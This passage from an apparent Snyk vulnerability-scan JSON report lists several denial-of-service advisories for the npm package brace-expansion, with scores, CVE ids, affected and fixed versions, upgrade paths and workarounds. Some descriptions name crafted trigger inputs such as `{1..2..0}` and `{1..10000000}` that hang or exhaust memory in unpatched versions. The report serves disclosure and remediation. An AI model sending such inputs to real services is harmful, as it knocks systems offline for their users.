Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply 